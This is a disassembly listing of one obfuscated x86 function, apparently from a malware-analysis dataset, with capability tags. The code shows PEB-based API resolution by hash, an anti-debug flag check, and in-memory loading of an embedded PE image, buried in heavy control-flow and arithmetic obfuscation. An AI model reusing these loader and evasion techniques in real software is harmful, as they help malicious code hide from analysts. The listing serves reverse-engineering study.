Function at 0x42f520
Capabilities:
Access peb ldr_data
Authenticate hmac
Check for peb ntglobalflag flag
Check os version
Encode data using base64
Get ntdll base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x290
mov eax, dword [0x4d04b0]
xor eax, esp
mov dword [esp + 0x28c], eax
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4d0d98], eax
lea eax, [esp + 0x84]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x88]
push 0x9385646d
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x84]
call eax
push 0x3c
push section..data
push 0x4a400
push 0x48603c
call section..text
add esp, 0x10
mov eax, dword [0x486078]
mov ecx, 0x48603c
add eax, ecx
mov dword [esp + 0x8c], eax
push 0x731e3b66
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
lea ecx, [esp + 0x80]
mov dword [esp + 0x90], ecx
mov ecx, dword [esp + 0x90]
mov ecx, dword [esp + 0x8c]
add ecx, 0x18
mov dword [esp + 0x94], ecx
mov ecx, dword [esp + 0x94]
push 4
push 0x1000
push dword [ecx + 0x38]
push 0
call eax
mov dword [esp + 0x80], eax
mov ecx, dword [esp + 0x94]
add ecx, 0x3c
mov dword [esp + 0x98], ecx
mov ecx, dword [esp + 0x98]
push dword [ecx]
push 0x48603c
push eax
call fcn.00473e80
add esp, 0xc
mov eax, 0xf8
mov ecx, 0x7a373ec2
add eax, dword [esp + 0x8c]
mov dword [esp + 0x64], 0
mov dword [esp + 0x9c], eax
mov dword [esp + 0x40], eax
nop word cs:[eax + eax]
cmp ecx, 0xc1fcd15
jg 0x430b10
cmp ecx, 0xe714e10d
jg 0x4327c0
cmp ecx, 0xa85f3ffe
jle 0x435b1d
cmp ecx, 0xbf62816c
jg 0x437cc6
cmp ecx, 0xb69b9c8d
jg 0x43970d
cmp ecx, 0xa85f3fff
je 0x43e334
cmp ecx, 0xac2837a5
jne 0x42f660
mov eax, dword [0x4d0db4]
lea ebx, [eax - 1]
imul ebx, eax
mov edi, ebx
mov edx, ebx
mov dword [esp + 0xc], ebx
not edi
and edx, 0xef9cdf15
mov eax, edi
mov esi, edi
mov dword [esp + 0x10], edi
and eax, ebx
and esi, 0x106320ea
mov ecx, eax
or esi, edx
mov edx, ebx
and eax, 0x106320ea
not ecx
or edx, ecx
and ecx, 0xef9cdf15
or eax, ecx
not edx
xor eax, esi
mov esi, edi
or edx, eax
and esi, 0x634a123e
mov eax, edx
and edx, 0x5ba6ba99
not eax
and eax, 0xa4594566
or edx, eax
mov eax, edx
xor edx, 0x4484006
xor eax, 0x5ba6ba99
and edx, 0x6ca6287
mov ecx, eax
and eax, 0x91d196cf
and ecx, 0xf9359d78
or ecx, edx
xor ecx, 0x971bf448
or eax, ecx
mov ecx, eax
and eax, 0x2c03c06a
not ecx
and ecx, 0xd3fc3f95
or eax, ecx
mov ecx, ebx
and ecx, 0x9cb5edc1
mov edx, eax
xor eax, 0xd3fc3f95
or esi, ecx
mov ecx, edi
xor edx, 0x2c03c06a
xor esi, 0xf29b84f1
and ecx, 0x6e2e6930
or ecx, esi
mov esi, ecx
and ecx, 0xcea99762
not esi
and esi, 0x3156689d
or ecx, esi
mov esi, ecx
xor ecx, 0x3156689d
xor esi, 0xcea99762
and esi, eax
or eax, ecx
and ecx, edx
not eax
or ecx, esi
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
or ecx, 0x402a4130
not eax
and ecx, 0x407a47be
mov esi, eax
and eax, 0x91819041
or esi, 0x91d196cf
or eax, ecx
mov edx, esi
and esi, 0x407a47be
not edx
and edx, 0x2e042800
or edx, esi
xor edx, eax
mov ecx, edx
and edx, 0x1c106251
not ecx
mov eax, ecx
or ecx, 0x3c706751
and eax, 0x20600500
or edx, eax
mov eax, ecx
and ecx, 0xacc93cc0
mov esi, edx
xor edx, 0xa0c91c80
not eax
xor esi, 0x10104211
and eax, 0x4306802e
and edx, 0xacc93cc0
and esi, 0x10304311
or eax, ecx
or esi, edx
xor eax, esi
mov ecx, eax
and eax, 0x88b6a3f7
not ecx
and ecx, 0x77495c08
or eax, ecx
mov ecx, eax
xor eax, 0x1393050
xor ecx, 0x94c44406
or eax, 0xdec44f0f
or ecx, 0x213bb0f0
mov edx, eax
and eax, 0xdce8c90c
mov esi, ecx
not edx
and ecx, 0xdce8c90c
not esi
and edx, 0x211330f0
and esi, 0x2040603
or edx, eax
or esi, ecx
mov ecx, ebx
xor edx, esi
and ecx, 0x5139cfcc
mov eax, edx
not edx
and eax, 0xdec44f0e
and edx, 0x213bb0f1
or edx, eax
mov eax, edx
xor edx, 0xfffffffe
not eax
and eax, 1
or edx, eax
mov eax, edi
or edi, 0x320af9f4
and eax, 0xaec63033
or ecx, eax
mov eax, edi
and edi, 0x69e6703b
mov esi, ecx
xor ecx, 0x20023030
not eax
xor esi, 0x100889c4
or ecx, 0x49e4000b
and eax, 0x84110600
and ecx, 0x69e6703b
and esi, 0x120889c4
or eax, edi
or esi, ecx
xor eax, esi
mov ecx, eax
and eax, 0x3e58670b
not ecx
and ecx, 0xc1a798f4
or eax, ecx
mov esi, eax
mov ecx, eax
xor eax, 0x232d0100
xor esi, 0xc529eff
xor ecx, 0xc529efe
and eax, 0x2b6f1f74
and ecx, esi
and esi, 0xd490e08b
or esi, eax
mov eax, ecx
and ecx, 0xfb854a4c
mov ebx, esi
not eax
xor esi, 0x2b6f1f75
mov edi, eax
xor ebx, 0xd0804008
or eax, esi
and esi, 0x47ab5b3
and ebx, 0xfb854a4c
and edi, 0x47ab5b3
not eax
or ebx, esi
or ecx, edi
mov esi, edx
xor ebx, ecx
not esi
or eax, ebx
mov edi, esi
mov dword [esp + 0x14], esi
mov ecx, eax
not ecx
and eax, ecx
mov esi, ecx
and esi, eax
xor eax, ecx
mov ecx, edi
mov edi, edx
or eax, esi
and ecx, 0x34732ed4
and edi, 0xcb8cd12b
mov esi, eax
mov ebp, eax
or edi, ecx
and eax, 0x5b850644
not esi
and ebp, 0x211361f7
mov dword [esp], esi
and esi, 0xdeec9e08
or ebp, esi
mov esi, edi
xor edi, 0xcb8cd12b
mov ebx, ebp
xor ebp, 0x128c1c08
mov ecx, edi
xor esi, 0x34732ed4
mov dword [esp + 8], edi
xor ebx, 0x11061d1
and ebp, 0x328f1c2e
mov dword [esp + 4], esi
and ecx, 0x2998e75e
and esi, 0xd66718a1
and ebx, 0xcd70e3d1
or esi, ecx
mov ecx, edx
and edx, 0xf55d630b
or ebx, ebp
mov ebp, dword [esp + 0x14]
and ecx, 0xf2f5f47
xor esi, 0xdcc58455
mov dword [esp + 0x18], ebx
or esi, edi
and ebp, 0xf0d0a0b8
or ecx, ebp
mov ebp, dword [esp]
xor ecx, 0x58dc3b3
or edx, ecx
mov ecx, ebx
xor ebx, 0xc7d27f25
xor ecx, 0xcd70e3d1
mov dword [esp + 0x14], ecx
and ecx, 0xaa29cf4
or ebx, ecx
mov ecx, ebx
and ebx, 0x80100c21
not ecx
and ecx, 0x7feff3de
or ebx, ecx
mov ecx, ebp
and ecx, 0xa47af9bb
or eax, ecx
mov ecx, ebp
xor eax, 0x51279ab0
xor ecx, eax
and ecx, eax
mov eax, esi
mov dword [esp], ecx
mov ecx, esi
and esi, 0x5d79fdb5
or eax, edx
not ecx
and ecx, 0xa286024a
or ecx, esi
mov esi, edx
and edx, 0x5d79fdb5
not esi
and esi, 0xa286024a
or esi, edx
mov edx, eax
xor esi, ecx
mov ecx, eax
and edx, 0x8c2ee01e
not ecx
and ecx, 0x73d11fe1
or ecx, edx
mov edx, esi
and esi, 0x73d11fe1
not edx
or eax, edx
and edx, 0x8c2ee01e
or esi, edx
mov edx, dword [esp]
not eax
xor esi, ecx
mov ecx, ebx
xor ebx, 0x7feff3de
or eax, esi
xor ecx, 0x100021
mov ebp, ebx
and ebx, 0xdbc30f00
and ecx, 0x243cf0ff
mov esi, edx
and edx, 0x243cf0ff
or ecx, ebx
not esi
or ebp, esi
and esi, 0xdbc30f00
or edx, esi
mov esi, ebp
xor edx, ecx
mov ecx, ebp
and esi, 0x35b78f85
not ecx
and ecx, 0xca48707a
or ecx, esi
mov esi, edx
and edx, 0xca48707a
not esi
or ebp, esi
and esi, 0x35b78f85
or edx, esi
not ebp
xor edx, ecx
or ebp, edx
mov edx, dword [esp + 0x18]
mov ecx, ebp
mov esi, ebp
and ebp, 0x9671225c
not ecx
xor esi, 0x698edda3
and esi, ecx
mov ecx, eax
or eax, 0x10110014
not ecx
and eax, 0x31954c35
xor edx, 0x328f1c2e
mov edi, ecx
and ecx, 0x480a9182
or edi, 0x698edda3
or ecx, eax
mov eax, edi
and edi, 0x31954c35
not eax
and eax, 0x86602248
or eax, edi
xor eax, ecx
mov ecx, esi
and ecx, ebp
xor ebp, esi
or ebp, ecx
mov ecx, eax
not ecx
and ecx, ebp
not ebp
and ebp, eax
mov eax, edx
and edx, 0x873f32c6
or ebp, ecx
mov ecx, dword [esp + 0x14]
and eax, 0x2c2f7237
and ecx, 0xd3d08dc8
or eax, ecx
mov ecx, dword [esp + 4]
or ecx, 0x873f32c6
mov esi, ecx
and ecx, 0xa0706de9
not esi
and esi, 0x58808010
or esi, ecx
mov ecx, dword [esp + 8]
or ecx, 0x78c0cd39
mov edi, ecx
and ecx, 0xa0706de9
not edi
and edi, 0x70f1206
or edi, ecx
mov ecx, eax
xor edi, esi
mov esi, eax
xor ecx, 0x2c2f7237
xor eax, 0xd3d08dc8
xor esi, 0xab1040f1
and esi, ecx
and ecx, 0x10a306c6
mov ebx, esi
and ebx, edx
xor edx, esi
mov esi, edi
and edi, 0x1c3cd448
not esi
or edx, ebx
and esi, 0xe3c32bb7
or edi, esi
mov esi, edx
and edx, 0x1c3cd448
not esi
and esi, 0xe3c32bb7
or edx, esi
xor edx, edi
mov edi, dword [esp + 8]
mov ebx, edx
mov edx, dword [esp + 4]
and edi, 0x10a306c6
mov esi, edx
or edx, eax
and eax, 0xef5cf939
and esi, 0xef5cf939
or ecx, eax
not edx
mov eax, ebx
or edi, esi
xor ecx, edi
or edx, ecx
not edx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
mov esi, edx
not eax
and esi, 0xe3ec549e
mov ecx, eax
and eax, 0x1c13ab61
and ecx, edx
or eax, esi
mov esi, ecx
and ecx, 0x1c13ab61
not esi
or edx, esi
and esi, 0xe3ec549e
or ecx, esi
not edx
xor ecx, eax
mov eax, ebp
or edx, ecx
xor eax, 0x6142f081
mov ecx, edx
mov esi, eax
and eax, ebp
not ebp
and edx, 0xe8bbb471
not ecx
and esi, ebp
and ecx, 0x17444b8e
mov edi, esi
or ecx, edx
and edi, eax
xor eax, esi
mov edx, dword [esp + 0xc]
mov esi, ecx
xor ecx, 0x1404080
or eax, edi
or ecx, 0x9ebd0f7e
xor esi, 0xe8bbb471
mov edi, ecx
and ecx, 0x91371a1f
not edi
and edi, 0x6040e080
or edi, ecx
mov ecx, ebp
xor ebp, esi
and ecx, esi
or esi, 0x6142f081
mov ebx, esi
and esi, 0x91371a1f
or ebp, ecx
mov ecx, edx
not ebx
not ebp
and ecx, 0xfdb20ccb
and ebx, 0xe880560
or ebx, esi
mov esi, eax
xor ebx, edi
not esi
and esi, ebx
not ebx
and ebx, eax
or ebx, esi
mov esi, edx
mov eax, ebx
xor esi, 0x57ba1094
and eax, ebp
xor ebp, ebx
and esi, edx
mov ebx, edx
or ebp, eax
and ebx, 0xab0239c
mov dword [esp], ebp
mov ebp, dword [esp + 0x10]
mov eax, ebp
mov edx, ebp
and eax, 0x24df334
and edx, 0x7735dc2e
or ecx, eax
mov eax, ecx
xor ecx, 0x2081014
or ecx, 0xa845ef6b
xor eax, 0x55800000
mov edi, ecx
and eax, 0x55801000
and edi, 0x2a3be4df
or eax, edi
mov edi, esi
and esi, 0xd5c41b20
not edi
or ecx, edi
and edi, 0x2a3be4df
or esi, edi
not ecx
mov edi, ebp
xor esi, eax
and edi, 0xf54fdc63
or ecx, esi
or edi, ebx
mov eax, ecx
and ecx, 0x57ba1094
xor edi, 0x7d85ffb2
not eax
or edx, edi
and eax, 0xa845ef6b
mov edi, edx
and edx, 0x39de2775
or ecx, eax
not edi
mov eax, ecx
and ecx, 0xfe17f89b
and edi, 0xc621d88a
not eax
or edx, edi
mov esi, eax
and eax, 0x88ca23d1
mov edi, edx
mov ebx, edx
xor edx, 0xf286b451
and esi, 0x1e80764
xor edi, 0x39de2775
xor ebx, 0x44009082
or esi, ecx
mov ebp, edi
and edx, edi
and ebx, 0x6d18b7f7
xor esi, 0x76dddb4a
and ebp, 0x92e74808
or eax, esi
or ebp, ebx
mov ecx, eax
and eax, 0x6a405860
not ecx
and ecx, 0x95bfa79f
or eax, ecx
mov esi, eax
mov ecx, eax
xor eax, 0xa118cb44
xor esi, 0x6a405860
xor ecx, 0x95bfa79f
mov edi, esi
and eax, esi
or edi, 0x34a76cdb
mov esi, edi
mov ebx, edi
not esi
and ebx, 0xeb836462
and esi, 0x589304
or esi, ebx
mov ebx, eax
and eax, 0x147c9b9d
not ebx
or edi, ebx
and ebx, 0xeb836462
or eax, ebx
not edi
xor eax, esi
mov esi, ebp
xor ebp, 0xa64024d3
xor esi, 0x92e74808
or edi, eax
and ebp, esi
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, edx
not esi
and eax, esi
xor esi, edx
or esi, eax
mov ecx, esi
mov eax, esi
xor ecx, 0xe0c4031a
and eax, 0x20840200
and ecx, esi
not esi
and esi, 0xc040011a
or eax, esi
xor eax, 0x20840200
mov esi, eax
and esi, ecx
xor ecx, eax
or ecx, esi
mov eax, ecx
and ecx, 0x95ef6291
not eax
and eax, 0x6a109d6e
or ecx, eax
mov eax, dword [esp]
mov esi, ecx
xor esi, 0x21ebda5
mov edx, eax
mov ebx, eax
not edx
and ebx, 0x39864038
mov edi, edx
mov dword [esp + 4], edx
and edi, 0xc679bfc7
or ebx, edi
mov edi, ebx
xor ebx, 0xc679bfc7
mov ebp, ebx
xor edi, 0x29064038
and ebx, 0x99860cbf
and edi, 0x6b0f6afa
and ebp, 0x94f09505
or ebp, edi
mov edi, edx
xor ebp, 0xf2896645
and edi, 0xee75389f
or ebx, ebp
mov ebp, eax
and ebp, 0x118ac760
or ebp, edi
xor ebp, 0x880ccbdf
mov edi, ebp
xor edi, edx
mov edx, ecx
xor ecx, 0x29da63d5
xor edx, 0xfde1425a
and edi, ebp
and ecx, esi
and esi, 0xeba2ae32
mov ebp, edx
and edx, 0x145d51cd
and ebp, 0x2bc4de70
or esi, edx
mov edx, edi
and edi, 0xf8b7aaa7
mov eax, ebp
not edx
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
and ecx, 0x33c624c5
not eax
and eax, 0xcc39db3a
or ecx, eax
mov eax, ecx
xor ecx, 0xe7fd054a
mov ebp, ecx
xor eax, 0x8008a90
and ecx, 0x99860cbf
and eax, 0x6d248b9a
and ebp, 0x92db7465
or ebp, eax
xor ebp, 0xf4a28725
or ecx, ebp
mov eax, ecx
and ecx, 0xd3ad2e6
not eax
and eax, 0xf2c52d19
or ecx, eax
mov eax, esi
xor esi, 0x8ddb5d72
xor eax, 0x6220a200
and eax, 0x6679f340
or esi, eax
mov eax, esi
and esi, 0xaae97b46
not eax
and eax, 0x551684b9
or esi, eax
mov eax, ebx
and ebx, 0x7485558
not eax
mov ebp, eax
xor ebp, edx
and edx, 0x7485558
and ebp, eax
and eax, 0xf8b7aaa7
or edi, edx
or eax, ebx
mov ebx, ebp
and ebp, 0x22e7c6ff
not ebx
xor edi, eax
mov eax, ebx
and eax, 0xdd183900
or ebp, eax
mov eax, edi
and edi, 0x22e7c6ff
not eax
or ebx, eax
and eax, 0xdd183900
or edi, eax
mov eax, ecx
not ebx
xor ecx, 0x22050410
xor edi, ebp
xor eax, 0xd3ad2e6
and ecx, 0x2f2dc672
or ebx, edi
mov edi, esi
xor esi, 0x551684b9
mov ebp, eax
xor ebp, esi
xor edi, 0x80c03904
and esi, 0x2f2dc672
and ebp, eax
and eax, 0xd0d2398d
and edi, 0xd0d2398d
or eax, ecx
mov ecx, ebp
or edi, esi
and ebp, 0x394da173
mov esi, dword [0x4d0db8]
not ecx
xor edi, eax
mov eax, ecx
and eax, 0xc6b25e8c
or ebp, eax
mov eax, edi
and edi, 0x394da173
not eax
or ecx, eax
and eax, 0xc6b25e8c
or edi, eax
not ecx
xor edi, ebp
mov ebp, dword [esp]
or ecx, edi
mov eax, ecx
and ecx, 0x3d8e700
not eax
mov edx, eax
and eax, 0xfc2718ff
and ebp, 0xb83eab0b
or ecx, eax
or edx, ebx
not ebx
xor ecx, 0xfc2718ff
not edx
or ecx, ebx
mov eax, edx
not ecx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, dword [esp + 4]
mov ebx, ecx
and ebx, 0x9821516a
and eax, 0x47c154f4
or ebp, eax
mov eax, ecx
and ecx, 0x3b2c1372
not eax
mov edx, ebp
mov edi, eax
xor edx, 0xb83eab0b
and eax, 0xc4d3ec8d
and edi, 0x67deae95
or ecx, eax
or ebx, edi
mov edi, ebp
xor ebp, 0xdfe0059e
mov eax, ecx
xor ecx, 0xc4d3ec8d
xor edi, 0x47c154f4
xor eax, 0x3b2c1372
and edi, ebp
and ebp, edx
mov edx, edi
and edx, ebp
xor ebp, edi
or ebp, edx
mov edx, ebx
not edx
and edx, ebp
not ebp
and ebp, ebx
or ebp, edx
mov edx, ebp
and ecx, ebp
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete al
cmp esi, 0xa
setl byte [esp + 8]
cmp esi, 9
mov ah, cl
mov byte [esp + 0x10], al
mov byte [esp + 0x14], cl
mov esi, 0x98073693
setg byte [esp + 0xc]
xor ah, al
mov al, cl
xor al, ah
mov bl, ah
mov byte [esp], ah
not al
xor bl, 1
and al, ah
mov byte [esp + 0x18], bl
mov dh, al
mov dl, al
xor dh, 1
and dl, dh
mov ecx, edx
mov ch, dl
xor dl, 1
and cl, dh
xor ch, dh
or ch, cl
mov cl, bl
or cl, ah
xor cl, ah
mov bh, cl
and cl, ah
xor bh, 1
mov ah, cl
and ah, bh
xor cl, bh
or cl, ah
xor cl, 1
mov ah, cl
xor cl, ch
xor cl, 1
or ah, ch
and cl, ch
mov ch, ah
xor ch, cl
xor cl, 1
or cl, ah
mov ah, dh
xor ch, 1
xor ah, dl
or dl, dh
xor cl, 1
xor dl, 1
or cl, ch
or dl, ah
mov ah, dl
and dl, byte [esp]
xor ah, 1
and ah, bl
or dl, ah
mov ah, al
xor al, bl
and ah, bl
or al, ah
mov ah, dl
xor al, 1
and ah, al
xor al, dl
or al, ah
mov ah, cl
xor ah, 1
mov dh, al
mov ch, ah
mov dl, ah
and ch, cl
and dl, ch
xor ch, ah
xor ah, al
or ch, dl
mov dl, al
xor dl, 1
and dh, dl
xor al, dh
xor dh, 1
or dh, dl
or dl, cl
xor dh, 1
xor dl, 1
or dh, al
mov al, ch
or dl, ah
xor al, 1
xor dl, 1
and al, dh
xor dh, 1
and dh, ch
or dh, al
mov al, dh
and al, dl
xor dl, dh
or dl, al
mov eax, edx
mov ecx, edx
xor al, 1
or cl, al
mov ah, cl
and al, cl
or cl, dl
xor ah, 1
and ah, dl
movzx edx, byte [esp + 8]
or ah, al
mov al, cl
xor ah, 1
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov al, ah
mov bh, ah
xor al, 1
or bh, al
mov cl, bh
xor cl, 1
mov ch, cl
and ch, bh
mov dh, ch
xor ch, cl
mov cl, bh
xor dh, 1
and cl, al
or dh, bh
xor bh, al
xor dh, 1
or bh, cl
or dh, ch
xor bh, 1
xor dh, ah
mov al, dh
and al, bh
xor bh, dh
or bh, al
mov al, bh
mov ah, bh
xor al, 1
mov ecx, eax
and cl, bh
xor cl, 1
xor ah, cl
or cl, bh
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
or ch, cl
mov cl, bh
xor bh, al
and cl, ch
xor ch, 1
xor bh, 1
mov ah, ch
or bh, al
xor ah, al
mov bl, bh
and ah, ch
and ch, al
or ch, cl
mov cl, ah
and cl, ch
xor ch, ah
or ch, cl
mov ah, ch
xor ah, 1
mov cl, ah
or ah, ch
xor cl, ch
mov ch, byte [esp + 0xc]
xor ah, 1
or ah, cl
mov al, ch
xor al, dl
mov cl, al
xor cl, 1
mov dh, cl
and dh, al
xor cl, dh
xor dh, 1
or dh, al
xor dh, 1
or dh, cl
mov al, dh
mov cl, dh
xor al, 1
and cl, ch
and al, dl
or al, cl
mov ecx, edx
xor cl, dh
or dh, dl
xor dh, 1
or dh, cl
mov ecx, eax
xor dh, 1
and cl, dh
xor dh, al
mov al, ah
or dh, cl
mov byte [esp + 4], dh
mov dh, ah
xor dh, 1
and al, dh
mov cl, dh
xor al, 1
xor cl, al
or al, dh
xor al, 1
or al, cl
mov dl, al
mov ecx, eax
xor dl, 1
or cl, dl
mov ch, dl
and dh, cl
xor cl, 1
mov dl, cl
xor dl, ah
and dl, cl
and cl, ah
mov ah, dl
or cl, dh
xor dl, cl
xor ah, 1
xor cl, 1
or cl, ah
mov ah, al
xor cl, 1
or cl, dl
mov dl, ch
and dl, al
xor dl, 1
xor ah, dl
or dl, al
or al, bh
xor dl, 1
xor al, 1
or dl, ah
mov ah, bh
mov dh, dl
xor ah, 1
and dl, bh
xor dh, 1
xor ch, ah
and dh, ah
or ah, bh
mov byte [esp + 0x1c], ch
xor bl, ah
or ah, bh
or al, byte [esp + 0x1c]
or dl, dh
xor ah, 1
or ah, bl
mov bl, ah
xor bl, 1
xor al, 1
and bl, ah
mov ch, bl
xor bl, ah
and ch, ah
mov ah, cl
or bl, ch
xor ah, 1
mov ch, byte [esp + 4]
and ah, bl
xor bl, 1
and bl, cl
mov cl, dl
and cl, al
xor al, dl
or bl, ah
or al, cl
mov dh, ch
mov cl, al
mov dl, al
mov ah, al
xor cl, 1
and dl, cl
and ah, dl
xor dl, al
mov al, bl
or dl, ah
xor al, cl
or cl, bl
xor dl, bl
xor cl, 1
movzx ebx, byte [esp + 0x10]
or cl, al
xor dl, 1
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
mov dl, ch
xor dl, 1
or cl, al
mov eax, edx
mov ah, dl
and al, ch
xor ah, al
xor al, 1
or al, ch
xor al, 1
or al, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
xor al, 1
mov ch, ah
and ch, cl
xor ah, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
xor dl, ch
or ch, dh
xor dl, 1
xor ch, 1
or ch, dl
movzx edx, byte [esp + 0x18]
xor ch, al
mov cl, ch
and ch, al
xor cl, 1
mov al, ch
and al, cl
xor ch, cl
mov cl, byte [esp]
or ch, al
mov eax, edx
mov byte [esp + 4], ch
and cl, dl
and al, cl
xor cl, dl
movzx edx, byte [esp + 0x14]
or cl, al
mov eax, ecx
mov ah, cl
xor al, 1
and ah, bl
mov ecx, edx
mov ch, dl
xor cl, al
and al, dl
and cl, dl
or al, ah
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov cl, al
xor cl, 1
mov edx, ecx
mov ah, cl
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov dh, dl
xor dh, 1
or dh, dl
mov dl, byte [esp + 0xc]
mov al, dh
xor dh, cl
or al, cl
xor al, 1
mov cl, al
and cl, dh
xor dh, al
or dh, cl
xor dh, 1
mov al, dh
xor dh, dl
not dh
or al, dl
and dh, dl
mov cl, al
xor cl, dh
xor dh, 1
or dh, al
mov eax, edx
xor dl, ch
xor cl, 1
and al, ch
xor dh, 1
or dl, al
or dh, cl
mov eax, ebx
mov ecx, edx
mov ah, dl
mov dl, bl
movzx ebx, byte [esp + 8]
not cl
xor dl, bl
and al, dl
and dl, bl
mov ch, al
and al, dl
xor dl, ch
mov ch, dh
or dl, al
xor ch, 1
mov al, dl
and dl, ah
and ch, dh
xor al, 1
xor ch, 1
or ah, al
and al, cl
or al, dl
mov cl, ah
xor cl, al
xor al, 1
or al, ah
xor cl, 1
xor al, 1
or al, cl
mov cl, al
mov ah, al
xor cl, 1
or ah, cl
mov dl, ah
xor dl, 1
and dl, al
or al, ah
and ah, cl
xor al, 1
or ah, dl
mov cl, al
and cl, ah
xor ah, al
or ah, cl
mov al, ah
xor al, 1
and ah, al
mov cl, al
and cl, ah
xor ah, al
or ah, cl
mov cl, ah
xor ah, al
and cl, al
mov al, dh
or ah, cl
xor al, ch
or ch, dh
mov bh, ah
xor ch, 1
mov cl, ah
xor bh, 1
or ch, al
mov al, ah
and cl, bh
mov dl, ch
and al, cl
xor cl, ah
or cl, al
mov al, ch
xor al, 1
or dl, al
mov byte [esp], al
mov al, dl
xor al, 1
and dl, al
mov bl, al
xor dl, 1
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov bl, al
or al, dh
xor bl, dh
mov dh, cl
xor al, 1
xor dl, ch
xor dh, byte [esp]
or al, bl
xor al, 1
mov byte [esp + 8], dh
mov dh, dl
and dh, al
xor al, dl
or al, dh
mov dh, ah
or dh, bh
xor bh, dh
or dh, ah
mov ah, byte [esp]
xor bh, 1
xor dh, 1
or dh, bh
xor dh, 1
mov dl, dh
xor dh, al
xor dh, 1
or dl, al
and dh, al
mov al, dl
xor dh, 1
xor al, dh
or dh, dl
mov dl, ah
xor dh, 1
or dh, al
mov al, ah
and al, ch
and dl, al
xor al, ah
or al, dl
mov dl, byte [esp + 8]
xor al, cl
or cl, ch
xor cl, 1
xor al, 1
xor dl, 1
or cl, dl
mov dl, al
xor cl, 1
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov dl, al
and dl, cl
xor cl, al
mov al, dh
or cl, dl
xor al, cl
or cl, dh
xor cl, 1
mov edx, eax
or cl, al
xor cl, 1
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
mov edx, ecx
xor al, 1
or dl, al
mov ah, al
mov ch, al
xor al, cl
xor dl, 1
and ah, dl
xor ch, dl
or al, dl
or ch, ah
mov ah, ch
mov dh, ch
mov bl, ch
xor ah, 1
and dh, ah
or ah, ch
and bl, dh
xor dh, ch
mov ch, ah
or dh, bl
or ah, dh
xor ch, dh
xor ah, 1
or ah, ch
mov cl, ah
and cl, al
xor al, ah
or cl, al
mov ah, al
mov edx, ecx
and cl, al
xor ah, 1
xor dl, 1
mov al, dl
xor al, ah
and ah, dl
and al, dl
or ah, cl
xor al, 1
xor ah, 1
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
or ah, cl
mov al, ah
mov dl, ah
mov ch, ah
xor al, 1
and dl, al
and ch, dl
xor dl, ah
mov ah, cl
or dl, ch
xor ah, al
or al, cl
xor dl, cl
xor al, 1
or al, ah
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ah, al
mov dh, al
xor ah, 1
mov dl, ah
mov cl, ah
and dl, al
and cl, dl
xor dl, ah
or dl, cl
mov ecx, edx
mov ch, dl
xor cl, 1
or ch, cl
xor ch, 1
xor ah, ch
xor dh, ch
or ch, al
xor ah, 1
xor ch, 1
or ch, ah
mov al, ch
xor al, dh
xor dh, 1
or dh, ch
xor al, 1
xor dh, 1
or dh, al
mov al, dh
mov ah, dh
xor al, 1
and al, dh
xor al, 1
xor ah, al
or al, dh
xor al, 1
or al, ah
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ah, al
xor ah, cl
and cl, al
and ah, al
or cl, dl
mov al, ah
and al, cl
xor cl, ah
or cl, al
mov bh, cl
xor bh, 1
mov al, bh
mov dl, bh
and al, cl
and dl, al
xor al, bh
or bh, cl
or al, dl
mov cl, bh
mov edx, eax
xor cl, 1
and al, bh
xor dl, 1
and cl, dl
or al, cl
mov ecx, edx
and cl, bh
xor bh, dl
or bh, cl
mov ecx, eax
xor bh, 1
and cl, bh
xor bh, al
movzx eax, byte [esp + 4]
or bh, cl
mov ecx, eax
mov bl, al
mov edx, eax
xor cl, 1
or bl, cl
mov ah, cl
mov al, bl
and ah, dl
xor al, 1
mov dh, al
mov byte [esp + 0x10], al
mov al, ah
xor ah, cl
and al, cl
mov byte [esp + 0x14], al
mov al, cl
xor al, dl
or ah, byte [esp + 0x14]
mov ecx, eax
or al, byte [esp + 0x10]
and cl, dl
mov dl, bl
mov ch, cl
and cl, bl
xor ch, 1
xor ah, bl
or dl, ch
and ch, dh
mov dh, bh
xor ah, 1
or ch, cl
mov cl, dl
xor dh, 1
xor ch, 1
xor cl, ch
or ch, dl
mov dl, dh
xor ch, 1
and dl, bh
or ch, cl
mov byte [esp + 0xc], ch
mov ch, bh
or ch, dh
xor dh, dl
xor dl, 1
or dl, bh
xor dl, 1
or dl, dh
mov cl, dl
mov dh, dl
xor cl, 1
and cl, dl
xor cl, 1
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
and dh, ch
xor ch, 1
and cl, ch
or cl, dh
mov dh, dl
xor dh, ch
or ch, dl
mov dl, cl
xor ch, 1
or ch, dh
xor ch, 1
and dl, ch
xor ch, cl
mov cl, byte [esp + 4]
or ch, dl
mov dh, ch
mov byte [esp + 8], ch
